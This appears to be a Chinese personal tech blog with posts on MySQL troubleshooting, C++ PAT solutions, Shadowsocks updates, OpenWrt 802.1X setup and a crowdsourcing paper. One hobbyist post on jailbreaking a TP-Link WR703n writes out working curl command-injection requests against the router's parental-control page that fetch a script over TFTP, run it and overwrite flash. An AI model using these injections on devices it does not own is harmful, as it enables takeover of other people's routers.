Categories
木有技术

Mysql 远程连接错误 10061

这个错误是远程服务器拒绝本地连接访问了(并非root账户权限问题,权限的报错是1045)
主要原因可能是

  1. 服务器防火墙把监听端口(3306)阻止了。不过这种情况比较少见
  2. 配置文件中绑定了本地回环127.0.0.1,没有绑定外网IP(或0.0.0.0监听所有)

针对问题2,可以检查下列文件:

  • /etc/mysql/my.cnf
  • /etc/mysql/mysql.conf.d/mysqld.cnf
  • /etc/mysql/conf.d/mysql.cnf
  • 其他所有cnf后缀的文件都可疑

找到文件中的以下字段

bind-address=127.0.0.1

将其删去,或将bind-address的值改成你的服务器IP地址
然后重启mysql服务

service mysql restart

 

Categories
不学无术

PAT 1100. Mars Numbers (20)

http://www.patest.cn/contests/pat-a-practise/1100
People on Mars count their numbers with base 13:

  • Zero on Earth is called “tret” on Mars.
  • The numbers 1 to 12 on Earch is called “jan, feb, mar, apr, may, jun, jly, aug, sep, oct, nov, dec” on Mars, respectively.
  • For the next higher digit, Mars people name the 12 numbers as “tam, hel, maa, huh, tou, kes, hei, elo, syy, lok, mer, jou”, respectively.

For examples, the number 29 on Earth is called “hel mar” on Mars; and “elo nov” on Mars corresponds to 115 on Earth. In order to help communication between people from these two planets, you are supposed to write a program for mutual translation between Earth and Mars number systems.
Input Specification:
Each input file contains one test case. For each case, the first line contains a positive integer N (< 100). Then N lines follow, each contains a number in [0, 169), given either in the form of an Earth number, or that of Mars.
Output Specification:
For each number, print in a line the corresponding number in the other language.
Sample Input:

4
29
5
elo nov
tam

Sample Output:

hel mar
may
115
13

 
这题没什么技术含量,直接给代码(我写的肯定是史上最长哈哈哈)

#include <cstdlib>
#include <cstdio>
#include <cstring>
using namespace std;
int main()
{
	int N;
	scanf("%d", &N);
	for (int i = 0; i < N; i++)
	{
		char* inStr = new char[8];
		scanf("%s", inStr);
		bool isInt = (inStr[0] >= '0' && inStr[0] <= '9');
		if (isInt)
		{
			int value = (int)strtol(inStr, NULL, 10);
			int high = value / 13;
			int low = value - 13 * high;
			switch (high)
			{
			case 0: break;
			case 1: printf("tam"); break;
			case 2: printf("hel"); break;
			case 3: printf("maa"); break;
			case 4: printf("huh"); break;
			case 5: printf("tou"); break;
			case 6: printf("kes"); break;
			case 7: printf("hei"); break;
			case 8: printf("elo"); break;
			case 9: printf("syy"); break;
			case 10:printf("lok"); break;
			case 11:printf("mer"); break;
			case 12:printf("jou"); break;
			default:
				break;
			}
			if (high > 0 && low > 0)
				printf(" ");
			switch (low)
			{
			case 0:
				if(high < 1)
					printf("tret");
				break;
			case 1: printf("jan"); break;
			case 2: printf("feb"); break;
			case 3: printf("mar"); break;
			case 4: printf("apr"); break;
			case 5: printf("may"); break;
			case 6: printf("jun"); break;
			case 7: printf("jly"); break;
			case 8: printf("aug"); break;
			case 9: printf("sep"); break;
			case 10:printf("oct"); break;
			case 11:printf("nov"); break;
			case 12:printf("dec"); break;
			default:
				break;
			}
		}
		else
		{
			bool nextFlag = true;
			int val = 0;
			if (strcmp(inStr, "tam") == 0)
				val = 1;
			else if (strcmp(inStr, "hel") == 0)
				val = 2;
			else if (strcmp(inStr, "maa") == 0)
				val = 3;
			else if (strcmp(inStr, "huh") == 0)
				val = 4;
			else if (strcmp(inStr, "tou") == 0)
				val = 5;
			else if (strcmp(inStr, "kes") == 0)
				val = 6;
			else if (strcmp(inStr, "hei") == 0)
				val = 7;
			else if (strcmp(inStr, "elo") == 0)
				val = 8;
			else if (strcmp(inStr, "syy") == 0)
				val = 9;
			else if (strcmp(inStr, "lok") == 0)
				val = 10;
			else if (strcmp(inStr, "mer") == 0)
				val = 11;
			else if (strcmp(inStr, "jou") == 0)
				val = 12;
			val *= 13;
			int chr = getchar();
			if (chr == ' ')
				scanf("%s", inStr);
			if (strcmp(inStr, "tret") == 0)
				val += 0;
			else if (strcmp(inStr, "jan") == 0)
				val += 1;
			else if (strcmp(inStr, "feb") == 0)
				val += 2;
			else if (strcmp(inStr, "mar") == 0)
				val += 3;
			else if (strcmp(inStr, "apr") == 0)
				val += 4;
			else if (strcmp(inStr, "may") == 0)
				val += 5;
			else if (strcmp(inStr, "jun") == 0)
				val += 6;
			else if (strcmp(inStr, "jly") == 0)
				val += 7;
			else if (strcmp(inStr, "aug") == 0)
				val += 8;
			else if (strcmp(inStr, "sep") == 0)
				val += 9;
			else if (strcmp(inStr, "oct") == 0)
				val += 10;
			else if (strcmp(inStr, "nov") == 0)
				val += 11;
			else if (strcmp(inStr, "dec") == 0)
				val += 12;
			printf("%d", val);
		}
		if (i < N - 1)
			printf("\n");
	}
	return 0;
}

 

Categories
不学无术

PAT 1077. Kuchiguse (20)

http://www.patest.cn/contests/pat-a-practise/1077
The Japanese language is notorious for its sentence ending particles. Personal preference of such particles can be considered as a reflection of the speaker’s personality. Such a preference is called “Kuchiguse” and is often exaggerated artistically in Anime and Manga. For example, the artificial sentence ending particle “nyan~” is often used as a stereotype for characters with a cat-like personality:
 

  • Itai nyan~ (It hurts, nyan~)
  • Ninjin wa iyada nyan~ (I hate carrots, nyan~)

 
Now given a few lines spoken by the same character, can you find her Kuchiguse?
 
这个题目就是到着找最长相同子串,没啥难度,用char数组操作很方便,直接给代码

#include <iostream>
#include <string.h>
using namespace std;
bool tryMoveForward(int N, char** sentences, int* posPtr, bool &contFlag)
{
	//尝试当前位置的字符是否相同
	char chr = sentences[0][posPtr[0]];
	bool flag = true;
	int i = 0;
	while(i < N)
	{
		if (sentences[i][posPtr[i]] != chr)
		{
			flag = false;
			break;
		}
		i++;
	}
	if (flag)
	{
		//Move forward
		for (i = 0; i < N; i++)
		{
			posPtr[i] --;
			if (posPtr[i] <0)
				contFlag = false;
		}
	}
	return flag;
}
int main()
{
	int N;
	cin >> N;
	char **sentences = new char*[N]; //存储句子
	int* posPtr = new int[N];	//当前位置指针
	//int maxSuffixStartPos = 0; //最长子串起始位置(距离最后一个字符)
	cin.ignore(1);
	for (int i = 0; i < N; i++)
	{
		sentences[i] = new char[257];
		//cin >> sentences[i];
		cin.getline(sentences[i], 257);
		posPtr[i] = strlen(sentences[i]) - 1;
	}
	bool contFlag = true;
	while (contFlag)
	{
		bool movFlag = tryMoveForward(N, sentences, posPtr, contFlag);
		contFlag &= movFlag;
	}
	//读取最长字串
	int longSufPos = posPtr[0];
	if (longSufPos == strlen(sentences[0]) - 1)
		cout << "nai";
	else
	{
		char* result = sentences[0] + longSufPos + 1;
		cout << result;
	}
	return 0;
}

 

Categories
不学无术

PAT 1017. Queueing at Bank (25)

PATEST链接地址:http://www.patest.cn/contests/pat-a-practise/1017
Suppose a bank has K windows open for service. There is a yellow line in front of the windows which devides the waiting area into two parts. All the customers have to wait in line behind the yellow line, until it is his/her turn to be served and there is a window available. It is assumed that no window can be occupied by a single customer for more than 1 hour.
Now given the arriving time T and the processing time P of each customer, you are supposed to tell the average waiting time of all the customers.
此题主要是要注意几个点:

  • 8点之前到的顾客要等8点开门
  • 17点之后到的顾客就不能进入了(不算入平均时间),但是17点之前到的,可以拖到17点之后完成

有两种思路,一种是像http://www.cnblogs.com/Rafy/archive/2012/03/20/2408419.html一样按照一秒一秒tick,还有一种是我的思路,把客户按照时间顺序排序,然后一个个“喂”给窗口。
窗口只需记录当前任务能完成的时间点T1。客户进入时间为T0。喂给窗口时就两个状况:

  1. 如果窗口现在有工作,那等待的时间就是T1-T0;
  2. 如果窗口现在空置(T1<T0),那么等待时间为0;

代码如下

#include <cstdio>
#include <algorithm>
using namespace std;
struct Customer
{
	int comeInTime; //到达时间(秒)
	int processingTime; //处理时间(秒)
};
int* nextAvailableTime; //窗口的下个可用时间点,用秒记录
Customer* customers;
int N, K, N_valid;
int compareCustomers(const void* c1, const void* c2)
{
	//时辰早的排在前面
	Customer* C1 = (Customer*)c1;
	Customer* C2 = (Customer*)c2;
	return C1->comeInTime - C2->comeInTime;
}
int getNextAvailable(Customer c)
{
	//找到下个可用窗口,返回等待时间
	int minTime = 100000; //这个值不能是17:00:00(61200),至少得是86400,因为有可能17点之前来的顾客会等到17点之后...;
	int minIndex = -1;
	for (int i = 0; i < K; i++)
	{
		if (nextAvailableTime[i] < minTime)
		{
			minTime = nextAvailableTime[i];
			minIndex = i;
		}
	}
	if (nextAvailableTime[minIndex] < c.comeInTime)
	{
		//之前就已经空窗;
		nextAvailableTime[minIndex] = c.comeInTime + c.processingTime;
		return 0;
	}
	else
	{
		int waitTime = nextAvailableTime[minIndex] - c.comeInTime;
		nextAvailableTime[minIndex] += c.processingTime;
		return waitTime;
	}
}
int main()
{
	scanf("%d %d", &N, &K);
	customers = new Customer[N];
	nextAvailableTime = new int[K];
	for (int i = 0; i < K; i++)
		nextAvailableTime[i] = 8 * 3600; // 8:00:00
	N_valid = N;
	for (int i = 0; i < N_valid; i++)
	{
		int hh, mm, ss, procTime;
		scanf("%d:%d:%d %d", &hh, &mm, &ss, &procTime);
		if (hh >= 17 && mm >= 0 && ss > 0)
		{
			N_valid--;
			i--;
			continue;
		}
		else
		{
			customers[i].comeInTime = hh * 3600 + mm * 60 + ss;
			if (procTime > 60)
				procTime = 60;
			customers[i].processingTime = procTime * 60;
		}
	}
	//对有效顾客排序
	qsort(customers, N_valid, sizeof(Customer), compareCustomers);
	int waitTimeSum = 0; //(秒)
	for (int i = 0; i < N_valid; i++)
	{
		waitTimeSum += getNextAvailable(customers[i]);
	}
	float waitTimeAvg = waitTimeSum / 60.0 / (float)N_valid;
	printf("%.1f", waitTimeAvg);
	return 0;
}

 
 

测试点 结果 用时(ms) 内存(kB) 得分/满分
0 答案正确 1 256 12/12
1 答案正确 1 256 3/3
2 答案正确 1 256 3/3
3 答案正确 1 368 3/3
4 答案正确 1 360 2/2
5 答案正确 5 364 2/2
Categories
生活琐碎

服务器迁移成功

DO的服务器免费余额快要到期了,最近访问速度越来越慢,因此决定从DigitalOcean更换为Vultr日本服务器。
感觉速度快了不少,特此纪念。

Categories
木有技术

如何更新Shadowsocks (服务器端)

如果你是私人假设的shadowsocks的话,可以通过pip来进行更新(当然前提是你用pip安装的,不然请先卸载掉原来的版本啦)。
利用PIP安装的教程见https://github.com/shadowsocks/shadowsocks/wiki/Shadowsocks-%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E
命令就一行

pip install -U shadowsocks

如果提示是这样的话,说明已经是最新版本了。

Requirement already up-to-date: shadowsocks in /usr/local/lib/python2.7/dist-packages
Cleaning up...

不然的话就会自己更新了…
如果有更新的话,记得重启你的shadowsocks服务~具体看wiki,因为配置不尽相同,这边就不写了https://github.com/shadowsocks/shadowsocks/wiki
 

Categories
木有技术

Use an OpenWrt Router to log in 802.1x (MSCHAPV2) wired network at SUTD (eduroam)

本文主要介绍如何使用基于OpenWrt的路由器进行802.1X有线网登录验证(即作为802.1X 客户端)。
This post tells my experience on trying to connect to a wired network at Singapore University of Technology and Design (SUTD) by using a OpenWrt-powered router (a modified TPLink WR-703n).

Prerequisites

What you need is a router which runs OpenWrt (or other unix-based OS like dd-wrt). For me I have a hardware-hacked TPLink Wr703n (technically it was a WR-702n but their mainboards are same). My modified router has 64 MB ram and 8MB ROM, which allows me to install and run OpenWrt (currently version 14.04) and some necessary apps.
You should know the fundamental about OpenWrt. If not, please visit https://wiki.openwrt.org/  for help.

Steps

Before start, please do not power off your device unless it’s requested explicitly.
First, build up a SSH connection to your router, for me on Windows, I connect my router (192.168.1.1) via Putty.
If this is the first time that you log in via SSH terminal, you should firstly set up the root password at http://192.168.1.1/ on your internet browser (this IP address might vary on different devices)

Remove wpad-mini

We will have to remove the mini version of wpad (wpad = wpa_supplicant + hostapd) since it is not powerful enough to handle a 802.1X authentication. So on your SSH terminal, after you’ve successfully logged in, type this

opkg remove wpad-mini

Install wpad

Then install the full version of wpad, you may download it from

https://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/generic/packages/base/wpad_2014-06-03.1-3_ar71xx.ipk

and you must find a way to transfer it to your router. For me I choose HFS (http://www.rejetto.com/hfs/) to build a small http file server on my personal computer. and then I use the ‘wget’ commend to download the file

cd /tmp
wget http://YOUR_HFS_SERVER_IP/wpad_2014-06-03.1-3_ar71xx.ipk

then install it

opkg install wpad_2014-06-03.1-3_ar71xx.ipk

OR if you have Internet connection on your router (oh you must be kidding) you can directly type

opkg update
opkg install wpad

Configuration

(For wr-703n only)

You may need to set up a wireless connection on your router first, please search on Google to enable your WiFi port. Or you may explore the ‘Network’ –> ‘Wifi’ page, it’s easy to get started!
By default, OpenWrt uses the only ethernet port on the little wr-703n as a LAN port, buy in this time we need to set it to a WAN port. It means that we’ll use an Ethernet wire to connect the world, and use the wireless signal to connect your devices, e.g. your laptops, cellphones, pads…
[INTERNET]  <—-wired conn.—> [ROUTER] <—-wireless conn.—-> [DEVICES]
This configuration can be easily done on OpenWrt’s web interface, visit http://YOUR_ROUTER’s_IP/ (for me it is 192.168.1.1 ) on your browser and enter your password.
Then go to ‘Networks’ –> ‘Interfaces’, there should be only one interface called ‘LAN’. And we need to add the ‘wan’ interface. so click on the button ‘Add new interface’ below openwrt_add_new_interface
Then set it as follow:openwrt_add_wan_interface
and click ‘submit’.
Next, we need to cease the bond between port eth0 and interface LAN. Turn back to the interface page, and click the ‘Edit’ openwrt_edit_interfaceon LAN interface.
Then click on the ‘Physical Settings’ page openwrt_interface_lan
and set the physical ports binding as follow (Un-tick ‘eth0’ and tick wireless network):
openwrt_wr703_lan_phy
then click on ‘Save and Apply’ button in the bottom.openwrt_saveandapply
Then restart your router.
NOTICE: From now on you can only connect your router through wireless connection, the Ethernet port is set as a WAN port.

wpa_supplicant

The next step is to set up 802.1X authentication.
The wpa_supplicant module will be used to maintain the authentication process, so we need a configuration file first.
Type these in your monitor to start vi (a built-in text editor):

vi /etc/config/wpa.conf

then key in ‘i’ to start the insert mode. Copy the following text

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
ap_scan=0
network={
        key_mgmt=IEEE8021X
        eap=MSCHAPV2   #THIS LINE IS IMPORTANT!
        eapol_flags=0
        identity="YOUR USERNAME"
        password="YOUR PASSWORD"
        phase1="peaplabel=1"
        phase2="auth=MSCHAPV2"  #THIS LINE MAYBE USELESS
}

and then, on your puppy terminal, use the right button of your mouse to paste them into vi text editor. Next, press ‘Ese’ button on your keyboard and input :wq to quit vi editor with the file written to your router.

Connection

Finally it’s time to build up connection, first unplug your Ethernet wire from the router if you’ve did so.
Then in the putty terminal, type

killall wpa_supplicant # Kill all wpa_supplicant programs on-the-run
wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &

The second line is the key, it tries to authenticate with the server using your configuration file on the wired port eth0.
And now please plug your Ethernet wire into the router, then the best part starts like this…
wr703-8021x-conn
Once you see ‘SUCCESS’ in those output you may press the Enter key to resume from shell execution.
It’s done.
In case you may encounter some error in the process, try change the parameters in your configuration file because not all 802.1x are the same. I once faced the credential error then found out that it’s the bad parameter in the ‘EAP’ setting.

#eap=PEAP # It was PEAP but turns out to be a failure
eap=MSCHAPV2 # This is the right thing to bypass credentials

Enable Service Autostart

Here are the scripts to auto-startup the 802.1x auth after the router finished booting. In your puppy terminal, type

vi /etc/init.d/wpa

Then push ‘I’ button on the keyboard to insert

#!/bin/sh /etc/rc.common
START=99
start() {
    echo start
    wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &
}

and push ‘Esc’, and type in :wq to quit the editor.
Back to the command terminal, type in

chmod +x /etc/init.d/wpa
chmod 755 /etc/init.d/wpa
/etc/init.d/wpa enable # Enable autostart

 

References

Categories
木有技术

WR703n v1.7 破解openwrt(提示“密码错误”等问题的解决)

英文请参考:http://wiki.openwrt.org/toh/tp-link/tl-wr703n#tftp_install_necessary_on_v17_hardware
转载本文请注明来自http://boweihe.me/?p=1680

[写在最前]如果你在破解过程中遇到HTML返回(中文)错误提示

有一部分人(包括我)遇到了,在执行第二个curl命令的时候,返回一段不正确的HTML代码的问题(主要内容是密码错误的提示页面,会说什么Caps Lock之类的)。这个问题是由于你更改了默认的路由器模式(比如AP模式)无法开启家长控制功能,解决办法是,重置路由器设置(捅RESET洞洞,或者Web界面里头选重置)。

准备工具

本教程主要介绍Windows下面用到的工具,因为UNIX类的系统其实Terminal底下都能搞定这事儿…噗

  1. cURL工具,http://curl.haxx.se/download.html
  2. TFTP工具,http://tftpd32.jounin.net/tftpd32_download.html
  3. (可选)本教程中TFTP底下的那些文件,包括BusyBox,分离出的固件等。链接:http://pan.baidu.com/s/1qWvfp7I 密码:y1vw
  4. dd for windows: http://uranus.chrysocome.net/linux/rawwrite/

准备Hack文件

BusyBox Binary

使用curl下载BusyBox的二进制文件:

curl http://busybox.net/downloads/binaries/latest/busybox-mips > busybox

OpenWrt固件

下载OpenWrt固件

curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

然后拆成两部分

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576

aa文件(bash)

新建一个叫aa的文件,别忘了讲下面的192.168.0.9 替换成你电脑的内网IP地址(路由器分配给你电脑的内网IP)

cd /tmp
tftp -gl i1 192.168.0.9
tftp -gl i2 192.168.0.9
tftp -gl busybox 192.168.0.9
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
./busybox reboot -f

 
至此,你的目录下应该有5个文件

  • openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
  • busybox
  • i1
  • i2
  • aa

刷写OpenWrt

[警告]以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。
以下步骤中,请替换 192.168.0.9 为你电脑的内网IP, 替换 192.168.0.100 为你路由器的IP地址 (WR703N的,一般是192.168.1.1).

修改密码为admin42

这个步骤只会更改路由器家长控制的默认密码,刷完openwrt之后会恢复为openwrt的默认密码的

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.0.100/'

启用家长控制(利用漏洞)

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'

开启电脑上的TFTP服务器

开启TFTP服务器,如果用tftp32的话:

  1. 设置Current Directory为那个含有5个文件都目录;
  2. 设置Server interfaces为你电脑的内网IP地址(一般情况下是192.168.1.x)

刷固件

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.0.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

请等待路由器自动重启(重启后会加载openwrt,路由器状态灯会闪烁一会儿)
上述步骤其实会远程调用tftp里头存储的aa文件(脚本),进而执行脚本中的刷机命令

Categories
不学无术

[WIP 20151111]iCrowd: An Adaptive Crowdsourcing Framework 第二部分:算法

Fan, J., Li, G., Ooi, B. C., Tan, K. L., & Feng, J. (2015, May). iCrowd: An Adaptive Crowdsourcing Framework. InProceedings of the 2015 ACM SIGMOD International Conference on Management of Data (pp. 1015-1030). ACM.

转载本文请注明来自http://boweihe.me/?p=1661
翻论文翻到一篇新鲜的货,赶紧拿出来分享,如果不发帖我想是没有兴趣能精读啦~为了督促自己,所以就写了这篇东西。
目前来说应该是分三个部分:

  1. 基本思路及框架
  2. 算法(努力中, 本篇)
  3. 实验(努力中)

准确率估计(对应章节3)

基本思路是考虑微任务之间的“相似性”,因为文章第6章的实验结果表明,参与者在相似领域的准确率是有可比性的(尽管领域差距变大以后可比性变差)。藉此,如果我们观察到某个参与者w正确作答了某些问题,我们可推断她也能胜任相似领域的一些问题。
111 112
打个比方,给定一组已经全局完成的微任务,包括那些qualification microtasks(Fig4. t1, t2, t3)以及那些已经达成共识的任务(t6, 在任务数量k=3时);同时给定一参与者w1。那么所谓的准确率估计问题就是想计算出参与者w1对于那些待分配给他的问题(如t4, t7)的回答准确率。

基于图的估计模型(Graph-Based Estimation Model)

基于图的估计模型,其主要思路就是利用微任务在图中的相似度(边的权值)估计某些问题作答的准确度:如果对于某些已经全局完成的微任务能拿到观测的准确率qw,我们就能据此推测图中相连的其他微任务(节点)的准确率。以Fig.3为例,给定参与者w已回答问题的准确度,比如正确回答了t2,错误回答t3,那我们可以预测w在作答与t2相似的问题(如图中的t7, t8, t9)会有相对较高的准确率,而作答与t3类似问题(如t10, t11, t12)时准确率就会相对较低。
然而,照上述方法算出这么个估计值是不实际的,因为估计出的准确率pw既要保证每组相邻节点算出的准确度的局部相似性(local similarity),又要保证所属子图准确度的全局相似性(global similarity)。此外,pw还要和观察准确率qw有一致性:估计出来的值不能和观测值有很大偏差。下面给出问题的形式化描述方法,方便起见,113
114 115
引理1. 公式(2)的解为如下形式
20151111144848
引理2. 基于公式(4)的迭代算法能够算出公式(3)中的最优解p*
证明:见引文[35]
2015111114493320151111145807
算法1如下图:
iCrowd_algoritum1
 

Categories
不学无术

iCrowd: An Adaptive Crowdsourcing Framework 第一部分:基本思路及框架

Fan, J., Li, G., Ooi, B. C., Tan, K. L., & Feng, J. (2015, May). iCrowd: An Adaptive Crowdsourcing Framework. In Proceedings of the 2015 ACM SIGMOD International Conference on Management of Data (pp. 1015-1030). ACM.

转载本文请注明来自http://boweihe.me/?p=1661
翻论文翻到一篇新鲜的货,赶紧拿出来分享,如果不发帖我想是没有兴趣能精读啦~为了督促自己,所以就写了这篇东西。
目前来说应该是分三个部分:

  1. 基本思路及框架(本篇)
  2. 算法(努力中)
  3. 实验(努力中)

一句话概括

iCrowd能实时地通过评估参与者完成任务的成绩来估计他作答的准确性,并且能够借此分析出他擅长作答的领域。

问题描述(对应章节2.1)

iCrowd_01
iCrowd_02

iCrowd框架(对应章节2.2)

iCrowd_03